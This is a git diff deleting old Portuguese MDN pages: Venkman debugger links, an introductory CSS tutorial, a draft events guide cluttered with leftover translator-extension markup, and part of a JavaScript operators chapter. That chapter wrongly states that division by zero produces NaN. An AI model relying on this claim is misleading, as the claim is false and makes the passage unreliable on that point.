- <li><a href="/Special:Tags?tag=Venkman&amp;language=pt" title="Special:Tags?tag=Venkman&amp;language=pt">Lista alfabética de todas as páginas relacionadas com o Venkman</a></li>
-</ul>
-
-<h3 id="Inicia.C3.A7.C3.A3o_no_Venkman" name="Inicia.C3.A7.C3.A3o_no_Venkman">Iniciação no Venkman</h3>
-
-<ul>
- <li><strong>Mozilla Suite</strong> e <strong>SeaMonkey</strong>: Venkman é uma opção de instalação (escolha Instalação Avançada).</li>
- <li><strong>Mozilla Suite</strong>, <strong>SeaMonkey</strong>, <strong>Firefox</strong> e <strong>Thunderbird</strong>: a última versão do Venkman está disponível em <a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=216">Mozilla Addons (Complementos Mozilla)</a>.</li>
- <li><strong>Nvu</strong> versão está disponível em <a class="external" href="http://glazman.org/nvu/releases/extensions/">glazman.org</a>.</li>
-</ul>
-
-<h3 id="Recursos" name="Recursos">Recursos</h3>
-
-<p>Siga os seguintes links para mais informações sobre o Venkman:</p>
-
-<ul>
- <li><a class="external" href="http://www.mozilla.org/projects/venkman/">Venkman Homepage</a></li>
- <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/">Venkman Development Page</a></li>
- <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/screenshots/?M=D">Screenshots</a></li>
- <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html">FAQ</a></li>
- <li>Newsgroup: <a class="external" href="http://groups.google.com/group/mozilla.dev.apps.js-debugger">mozilla.dev.apps.js-debugger</a></li>
- <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html#irc">IRC</a>: <a class="link-irc" href="irc://irc.mozilla.org/venkman" rel="freelink">irc://irc.mozilla.org/venkman</a></li>
-</ul>
-
-<ul>
- <li><a class="external" href="http://www.svendtofte.com/code/learning_venkman/">"Learning the JavaScript debugger Venkman"</a> by Svend Tofte</li>
-</ul>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pt-pt/orphaned/web/css/como_começar/o_que_é_css_question_/index.html b/files/pt-pt/orphaned/web/css/como_começar/o_que_é_css_question_/index.html
deleted file mode 100644
index b3726fdd62..0000000000
--- a/files/pt-pt/orphaned/web/css/como_começar/o_que_é_css_question_/index.html
+++ /dev/null
@@ -1,95 +0,0 @@
----
-title: O que é CSS?
-slug: orphaned/Web/CSS/Como_começar/O_que_é_CSS?
-tags:
- - CSS:Como_começar
-original_slug: Web/CSS/Como_começar/O_que_é_CSS?
----
-<p>
-</p><p>This page explains what CSS is.
-You create a simple document that you will work with on the following pages.
-</p>
-<h3 id="Information:_What_is_CSS.3F" name="Information:_What_is_CSS.3F"> Information: What is CSS? </h3>
-<p>CSS is a language for specifying how documents are presented to users.
-</p><p>A <i>document</i> is a collection of information that is structured using a <i>markup language</i>.
-</p>
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
-<caption>Examples
-</caption><tbody><tr>
-<td>
-<ul><li>A web page like this one is a document.<br>The information that you see in a web page is usually structured using the markup language HTML (HyperText Markup Language).
-</li></ul>
-<ul><li>A dialog in a Mozilla application is a document.<br>The user interface controls that you see in a Mozilla dialog are structured using the markup language XUL (XML User-interface Language).
-</li></ul>
-</td></tr></tbody></table>
-<p>In this tutorial, boxes captioned <b>More details</b> like the one below contain optional information.
-If you are in a hurry to progress with the tutorial then you could skip these boxes, perhaps returning to read them later. Otherwise read them when you come to them, and perhaps follow the links to learn more.
-</p>
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
-<caption>More details
-</caption><tbody><tr>
-<td>
-<p>A document is not the same as a file. It might or might not be stored in a file.
-</p><p>For example, the document that you are reading now is not stored in a file. When your web browser requests this page, the server queries a database and generates the document, gathering parts of the document from many files. However, in this tutorial you will work with documents that are stored in files.
-</p><p>For more information about documents and markup languages, see other parts of this web site—for example:
-</p>
-<table style="background-color: inherit; margin-left: 2em;">
-<tbody><tr>
-<td><a href="pt/HTML">HTML</a></td><td>for web pages
-</td></tr>
-<tr>
-<td><a href="pt/XML">XML</a></td><td>for structured documents in general
-</td></tr>
-<tr>
-<td><a href="pt/SVG">SVG</a></td><td>for graphics
-</td></tr>
-<tr>
-<td><a href="pt/XUL">XUL</a></td><td>for user interfaces in Mozilla
-</td></tr></tbody></table>
-<p>In Part II of this tutorial you will see examples of these markup languages.
-</p>
-</td></tr></tbody></table>
-<p><i>Presenting</i> a document to a user means converting it into a form that humans can make use of. Mozilla is designed to present documents visually—for example, on a computer screen, projector or printer.
-</p>
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
-<caption>More details
-</caption><tbody><tr>
-<td> CSS is not just for browsers, and not just for visual presentation. In formal CSS terminology, the program that presents a document to a user is called a <i>user agent</i> (UA). A browser is just one kind of UA. However, in Part I of this tutorial you will only work with CSS in a browser.
-<p>For some formal definitions of terminology relating to CSS, see <a class="external" href="http://www.w3.org/TR/CSS21/conform.html#q1">Definitions</a> in the CSS Specification.
-</p>
-</td></tr></tbody></table>
-<h3 id="Action:_Creating_a_document" name="Action:_Creating_a_document"> Action: Creating a document </h3>
-<p>Use your computer to create a new directory and a new text file there.
-The file will contain your document.
-</p><p>Copy and paste the HTML shown below. Save the file using the name <code>doc1.html</code>
-</p>
-<div style="width: 40em;"><pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;title&gt;Sample document&lt;/title&gt;
- &lt;/head&gt;
-
- &lt;body&gt;
- &lt;p&gt;
- &lt;strong&gt;C&lt;/strong&gt;ascading
- &lt;strong&gt;S&lt;/strong&gt;tyle
- &lt;strong&gt;S&lt;/strong&gt;heets
- &lt;/p&gt;
- &lt;/body&gt;
-&lt;/html&gt;
-</pre></div>
-<p>In your browser, open a new tab or a new window, and open the file there.
-</p><p>You should see the text with the initial letters bold, like this:
-</p>
-<table style="border: 2px outset #36b; padding: 1em;">
-<tbody><tr>
-<td> <strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets
-</td></tr></tbody></table>
-<p>What you see in your browser might not look exactly the same as this, because of settings in your browser and in this wiki. If there are some differences in the font, spacing and colors that you see, they are not important.
-</p>
-<h4 id="What_next.3F" name="What_next.3F"> What next? </h4>
-<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a>Discussion</a> page.
-</p><p>Your document does not yet use CSS.
-On the next page you use CSS to specify its style:
-<b><a href="pt/CSS/Getting_Started/Why_use_CSS%3f">Why use CSS?</a></b>
-</p>{{ languages( { "en": "en/CSS/Getting_Started/What_is_CSS", "fr": "fr/CSS/Premiers_pas/Pr\u00e9sentation_des_CSS", "it": "it/Conoscere_i_CSS/Che_cosa_sono_i_CSS", "ja": "ja/CSS/Getting_Started/What_is_CSS", "pl": "pl/CSS/Na_pocz\u0105tek/Czym_jest_CSS", "zh-cn": "cn/CSS/Getting_Started/What_is_CSS" } ) }}
diff --git a/files/pt-pt/orphaned/web/guide/events/index.html b/files/pt-pt/orphaned/web/guide/events/index.html
deleted file mode 100644
index f8f218d1c1..0000000000
--- a/files/pt-pt/orphaned/web/guide/events/index.html
+++ /dev/null
@@ -1,134 +0,0 @@
----
-title: Guia do programador de eventos
-slug: orphaned/Web/Guide/Events
-tags:
- - DOM
- - Evento
- - Guía
- - Precisa de Atualização
-translation_of: Web/Guide/Events
-original_slug: Web/Guide/Events
----
-<p>{{draft()}}</p>
-
-<p>Events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types.</p>
-
-<p>The <a href="/en-US/docs/Web/Guide/API/DOM/Events/Overview_of_Events_and_Handlers">overview page</a> provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers.</p>
-
-<p>The <a href="/en-US/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">custom events page</a> describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code.</p>
-
-<p>The remaining pages describe how to use events of different kinds defined by web browsers. Unfortunately, these events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern web browsers.</p>
-
-<p>The <strong>device</strong> on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> and the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a>. That is different, but similar, to the change in device vertical orientation. </p>
-
-<p>The <strong>window</strong> in which the browser is displayed can trigger events; for example, change size if the user maximizes the window or otherwise changes it.</p>
-
-<p>The <strong>process</strong> loading of a web page can trigger events in response to the completion of different steps in the downloading, parsing, and rendering of the web page for display to the user.</p>
-
-<p>The <strong>user interaction</strong> with the web page contents can trigger events. The events triggered by user interaction evolved during the early years of browser design and include a complicated system defining the sequence in which events will be called and the manner in which that sequence can be controlled. The different types of user interaction-driven events include:</p>
-
-<ul>
- <li>the original 'click' event,</li>
- <li>mouse events,</li>
- <li><a href="/en-US/docs/Web/Guide/API/DOM/Events/Mouse_gesture_events">mouse gesture events</a>, and</li>
- <li>both <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events">touch events</a> and the earlier <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events_(Mozilla_experimental)">mozilla experimental touch events</a>, now deprecated.</li>
-</ul>
-
-<p>The <strong>modification of the web page</strong> in structure or content might trigger some events, as explained in the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events">mutation events page</a>, but the use of these events has been deprecated in favour of the lighter <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer</a> approach.</p>
-
-<p>The <strong>media streams</strong> embedded in the HTML documents might trigger some events, as explained in the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Media_events">media events</a> page.</p>
-
-<p>The <strong>network requests</strong> made by a web page might trigger some events.</p>
-
-<p>There are many other sources of events defined by web browsers for which pages are not yet available in this guide.</p>
-
-<div class="note">
-<p>Note: This Event Developer Guide needs substantial work. The structure needs to be reorganized and the pages rewritten. Our hope is that everything you need to know about events will go under here.</p>
-</div>
-
-<h2 id="Documentos">Documentos</h2>
-
-<p>{{LandingPageListSubpages}}</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: none; opacity: 1;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html b/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html
deleted file mode 100644
index 0f1063a0b8..0000000000
--- a/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html
+++ /dev/null
@@ -1,833 +0,0 @@
----
-title: Expressoes e Operadores
-slug: orphaned/Web/JavaScript/Guia/Expressoes_e_Operadores
-original_slug: Web/JavaScript/Guia/Expressoes_e_Operadores
----
-<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</div>
-<p><span id="result_box" lang="pt"><span class="hps">Este capítulo descreve</span> <span class="hps">expressões e operadores JavaScript</span><span>, incluindo </span></span>atribuição<span id="result_box" lang="pt"><span>, comparação,</span> <span class="hps">aritmética,</span> <span class="hps">bit a bit</span><span>, lógico, string</span><span>, e</span> <span class="hps">operadores especiais.</span></span></p>
-
-<h2 id="Expressões">Expressões</h2>
-
-<p>Uma <em>expressão</em> é qualquer unidade de código válida que resolve um valor.</p>
-
-<p><span id="result_box" lang="pt"><span class="alt-edited hps">Conceitualmente</span><span>, há dois</span> <span class="hps">tipos de expressões</span><span>: aqueles</span> <span class="hps">que</span> <span class="hps">atribui um valor</span> <span class="hps">para</span> <span class="hps">uma variável, e</span> <span class="hps">aqueles</span> <span class="hps">que</span> <span class="hps">simplesmente tem</span> <span class="hps">um valor.</span> <span class="hps">Por exemplo,</span> <span class="hps">a expressão</span> <code><span class="hps">x = 7</span></code> <span class="hps">é uma expressão que</span> <span class="hps">atribui</span> a x <span class="hps">o valor </span><span class="hps">sete.</span> <span class="hps">Esta expressão</span> <span class="hps">avalia</span><span>-se</span> <span class="hps">a sete.</span> <span class="hps">Tais expressões</span> <span class="alt-edited hps">usam <em>operadores de atribuição</em></span><span>.</span> <span class="hps">Por outro lado</span><span>, a expressão de</span> <code><span class="hps">3 + 4</span></code> <span class="hps">simplesmente avalia</span> <span class="hps">a sete</span><span>; ele</span> <span class="hps">não realiza</span> <span class="hps">uma atribuição.</span> <span class="hps">Os</span> <span class="hps">operadores usados</span> <span class="hps">​​em tais expressões</span> <span class="hps">são referidos</span> <span class="hps">simplesmente como</span> <span class="hps"><em>operadores</em>.</span></span></p>
-
-<p><span class="short_text" id="result_box" lang="pt"><span class="hps">JavaScript</span> <span class="hps">tem os seguintes tipos</span> <span class="hps">de expressões:</span></span></p>
-
-<ul>
- <li><span id="result_box" lang="pt"><span class="hps">Aritmética:</span> <span class="hps">resulta em um número</span><span>, por exemplo</span> <span class="hps">3,14159.</span></span> (Generally uses {{ web.link("#Arithmetic_operators", "arithmetic operators") }}.)</li>
- <li><span id="result_box" lang="pt"><span class="hps">String:</span> <span class="hps">avalia</span> <span class="hps">em</span> <span class="hps">uma cadeia de caracteres</span><span>, por exemplo,</span> <span class="hps">"Fred</span><span>" ou</span> <span class="hps">"234"</span></span>. (Generally uses {{ web.link("#String_operators", "string operators") }}.)</li>
- <li>Logical: resulta em verdadeira (true em inglês) ou falsa (false em inglês). (Often involves {{ web.link("#Logical_operators", "logical operators") }}.)</li>
- <li>Object: resulta como um objeto. (See {{ web.link("#Special_operators", "special operators") }} for various ones that evaluate to objects.)</li>
-</ul>
-
-<h2 id="Operadores">Operadores</h2>
-
-<p><span id="result_box" lang="pt"><span class="hps">JavaScript</span> <span class="hps">tem os seguintes tipos</span> <span class="hps">de operadores.</span> <span class="hps">Esta seção</span> <span class="hps">descreve os operadores</span> <span class="hps">e contém informações sobre</span> <span class="hps">a precedência do operador</span><span>.</span></span></p>
-
-<ul>
- <li>{{ web.link("#Assignment_operators", "Assignment operators") }}</li>
- <li>{{ web.link("#Comparison_operators", "Comparison operators") }}</li>
- <li>{{ web.link("#Arithmetic_operators", "Arithmetic operators") }}</li>
- <li>{{ web.link("#Bitwise_operators", "Bitwise operators") }}</li>
- <li>{{ web.link("#Logical_operators", "Logical operators") }}</li>
- <li>{{ web.link("#String_operators", "String operators") }}</li>
- <li>{{ web.link("#Special_operators", "Special operators") }}</li>
-</ul>
-
-<p>JavaScript has both <em>binary</em> and <em>unary</em> operators, and one special ternary operator, the conditional operator. A binary operator requires two operands, one before the operator and one after the operator:</p>
-
-<pre><em>operand1</em> <em>operator</em> <em>operand2</em>
-</pre>
-
-<p>For example, <code>3+4</code> or <code>x*y</code>.</p>
-
-<p>A unary operator requires a single operand, either before or after the operator:</p>
-
-<pre><em>operator</em> <em>operand</em>
-</pre>
-
-<p>or</p>
-
-<pre><em>operand</em> <em>operator</em>
-</pre>
-
-<p>For example, <code>x++</code> or <code>++x</code>.</p>
-
-<h3 id="Assignment_operators">Assignment operators</h3>
-
-<p>An assignment operator assigns a value to its left operand based on the value of its right operand. The basic assignment operator is equal (=), which assigns the value of its right operand to its left operand. That is, x = y assigns the value of y to x.</p>
-
-<p>The other assignment operators are shorthand for standard operations, as shown in the following table.</p>
-
-<table class="standard-table">
- <caption>Table 3.1 Assignment operators</caption>
- <thead>
- <tr>
- <th scope="col">Shorthand operator</th>
- <th scope="col">Meaning</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>x += y</code></td>
- <td><code>x = x + y</code></td>
- </tr>
- <tr>
- <td><code>x -= y</code></td>
- <td><code>x = x - y</code></td>
- </tr>
- <tr>
- <td><code>x *= y</code></td>
- <td><code>x = x * y</code></td>
- </tr>
- <tr>
- <td><code>x /= y</code></td>
- <td><code>x = x / y</code></td>
- </tr>
- <tr>
- <td><code>x %= y</code></td>
- <td><code>x = x % y</code></td>
- </tr>
- <tr>
- <td><code>x &lt;&lt;= y</code></td>
- <td><code>x = x &lt;&lt; y</code></td>
- </tr>
- <tr>
- <td><code>x &gt;&gt;= y</code></td>
- <td><code>x = x &gt;&gt; y</code></td>
- </tr>
- <tr>
- <td><code>x &gt;&gt;&gt;= y</code></td>
- <td><code>x = x &gt;&gt;&gt; y</code></td>
- </tr>
- <tr>
- <td><code>x &amp;= y</code></td>
- <td><code>x = x &amp; y</code></td>
- </tr>
- <tr>
- <td><code>x ^= y</code></td>
- <td><code>x = x ^ y</code></td>
- </tr>
- <tr>
- <td><code>x |= y</code></td>
- <td><code>x = x | y</code></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Comparison_operators">Comparison operators</h3>
-
-<p><span class="comment">This seems to me kind of poorly explained, mostly the difference betwen "==" and "==="...</span> A comparison operator compares its operands and returns a logical value based on whether the comparison is true. The operands can be numerical, string, logical, or object values. Strings are compared based on standard lexicographical ordering, using Unicode values. In most cases, if the two operands are not of the same type, JavaScript attempts to convert the operands to an appropriate type for the comparison. (The sole exceptions to this rule are <code>===</code> and <code>!==</code>, which perform "strict" equality and inequality and which do not attempt to convert the operands to compatible types before checking equality.) This generally results in a numerical comparison being performed. The following table describes the comparison operators, assuming the following code:</p>
-
-<pre class="brush: js">var var1 = 3, var2 = 4;
-</pre>
-
-<table class="standard-table">
- <caption>Table 3.2 Comparison operators</caption>
- <thead>
- <tr>
- <th scope="col">Operator</th>
- <th scope="col">Description</th>
- <th scope="col">Examples returning true</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Equal (<code>==</code>)</td>
- <td>Returns true if the operands are equal.</td>
- <td><code>3 == var1</code>
- <p><code>"3" == var1</code></p>
- <code>3 == '3'</code></td>
- </tr>
- <tr>
- <td>Not equal (<code>!=</code>)</td>
- <td>Returns true if the operands are not equal.</td>
- <td><code>var1 != 4<br>
- var2 != "3"</code></td>
- </tr>
- <tr>
- <td>Strict equal (<code>===</code>)</td>
- <td>Returns true if the operands are equal and of the same type.</td>
- <td><code>3 === var1</code></td>
- </tr>
- <tr>
- <td>Strict not equal (<code>!==</code>)</td>
- <td>Returns true if the operands are not equal and/or not of the same type.</td>
- <td><code>var1 !== "3"<br>
- 3 !== '3'</code></td>
- </tr>
- <tr>
- <td>Greater than (<code>&gt;</code>)</td>
- <td>Returns true if the left operand is greater than the right operand.</td>
- <td><code>var2 &gt; var1<br>
- "12" &gt; 2</code></td>
- </tr>
- <tr>
- <td>Greater than or equal (<code>&gt;=</code>)</td>
- <td>Returns true if the left operand is greater than or equal to the right operand.</td>
- <td><code>var2 &gt;= var1<br>
- var1 &gt;= 3</code></td>
- </tr>
- <tr>
- <td>Less than (<code>&lt;</code>)</td>
- <td>Returns true if the left operand is less than the right operand.</td>
- <td><code>var1 &lt; var2<br>
- "12" &lt; "2"</code></td>
- </tr>
- <tr>
- <td>Less than or equal (<code>&lt;=</code>)</td>
- <td>Returns true if the left operand is less than or equal to the right operand.</td>
- <td><code>var1 &lt;= var2<br>
- var2 &lt;= 5</code></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Arithmetic_operators">Arithmetic operators</h3>
-
-<p>Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value. The standard arithmetic operators are addition (+), subtraction (-), multiplication (*), and division (/). These operators work as they do in most other programming languages when used with floating point numbers (in particular, note that division by zero produces <a href="/en-US/docs/JavaScript/Reference/Global_Objects/NaN" title="en-US/docs/JavaScript/Reference/Global_Properties/NaN"><code>NaN</code></a>). For example:</p>
-
-<pre class="brush: js">console.log(1 / 2); /* prints 0.5 */
-console.log(1 / 2 == 1.0 / 2.0); /* also this is true */
-</pre>
-
-<p>In addition, JavaScript provides the arithmetic operators listed in the following table.</p>
-
-<table class="fullwidth-table">
- <caption>Table 3.3 Arithmetic operators</caption>
- <thead>
- <tr>
- <th scope="col">Operator</th>
- <th scope="col">Description</th>
- <th scope="col">Example</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>%</code><br>
- (Modulus)</td>
- <td>Binary operator. Returns the integer remainder of dividing the two operands.</td>
- <td>12 % 5 returns 2.</td>
- </tr>
- <tr>
- <td><code>++</code><br>
- (Increment)</td>
- <td>Unary operator. Adds one to its operand. If used as a prefix operator (<code>++x</code>), returns the value of its operand after adding one; if used as a postfix operator (<code>x++</code>), returns the value of its operand before adding one.</td>
- <td>If <code>x</code> is 3, then <code>++x</code> sets <code>x</code> to 4 and returns 4, whereas <code>x++</code> returns 3 and, only then, sets <code>x</code> to 4.</td>
- </tr>
- <tr>
- <td><code>--</code><br>
- (Decrement)</td>
- <td>Unary operator. Subtracts one from its operand. The return value is analogous to that for the increment operator.</td>
- <td>If <code>x</code> is 3, then <code>--x</code> sets <code>x</code> to 2 and returns 2, whereas <code>x--</code> returns 3 and, only then, sets <code>x</code> to 2.</td>
- </tr>
- <tr>
- <td><code>-</code><br>
- (Unary negation)</td>
- <td>Unary operator. Returns the negation of its operand.</td>
- <td>If <code>x</code> is 3, then <code>-x</code> returns -3.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Bitwise_operators">Bitwise operators</h3>
-
